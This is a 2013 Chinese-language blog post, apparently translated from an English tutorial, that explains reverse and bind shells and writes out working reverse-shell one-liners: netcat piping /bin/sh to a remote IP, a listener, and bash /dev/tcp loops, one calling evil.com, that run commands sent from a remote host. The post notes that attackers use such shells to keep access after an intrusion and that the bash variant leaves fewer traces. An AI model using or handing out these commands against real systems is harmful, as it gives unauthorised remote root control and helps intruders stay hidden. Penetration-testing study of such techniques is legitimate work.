使用NetCat或BASH建立反向Shell來執行遠端執行Root命令

aqee發表於2013-12-20

  反向shell(Reverse shell)是一種往遠端機器傳送shell命令的技術,當遠端機器處在防火牆等其它東西后面時,這種技術會變得非常有用。你也許會說,“一個普通的shell或簡單的SSH通道不是也能實現這些嗎?”不,無法實現。在網上,我看到很多人對普通shell和反向shell之間的區別分不清。在我們開始下面的內容前,先弄清楚這些概念。

  反向Shell(Reverse Shell)

  • 反向shell的工作方式是遠端計算機將自己的shell傳送給特定的使用者,而不是將shell繫結到一個埠上。後者在很多環境中是無法訪問的。這樣,你就可以對遠端伺服器執行root命令。

  Bind Shell

  • bind shell是使用者用BSAH,將shell繫結到一個本地埠上,這樣任何人都可以在本地網路中傳送命令。

  反向shell經常會被黑客用來做一些不法行為,例如入侵了一臺伺服器後,他們會設定一個反向shell,將來他們就能通過這個shell輕鬆的訪問這臺遠端計算機。我相信你是不會用它來做這種事情的。

  環境要求

  • 遠端Unix主機
  • 安裝了netcat

  使用NetCat實現反向shell互動

  當通過shell登入到遠端主機後,下面的指令能輕鬆的將shell傳送到你的機器上:

  nc -c /bin/sh <你的IP> <任何一個未封鎖的埠>

  你甚至能通過netcat來pipe BASH。

  /bin/sh | nc <你的IP> <任何未封鎖的埠>

  然後監聽這個shell:

  nc -l -p <相同的埠> -vvv

  通過BASH實現反向shell

  這種技術是當遠端機器上沒有netcat或你想做一些非自然的事情而不想留下太重的痕跡時使用。

  監聽shell:

  nc -l -p <任何未封鎖的埠> -vvv

  先建立一個新的描述符,分配到一個網路節點。這樣我們可以對這個描述符進行讀寫。

  exec 5<>/dev/tcp/evil.com/<相同的埠> $ cat <&5 | while read line; do $line 2>&5 >&5; done

  或另外一個反向shell:

  0<&196;exec 196<>/dev/tcp/<你的IP>/<相同的埠>; sh <&196 >&196 2>&196

create-reverse-shell

  這樣,你就可以輕鬆是通過netcat傳送任何命令了。

  英文原文:How to Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASH

相關文章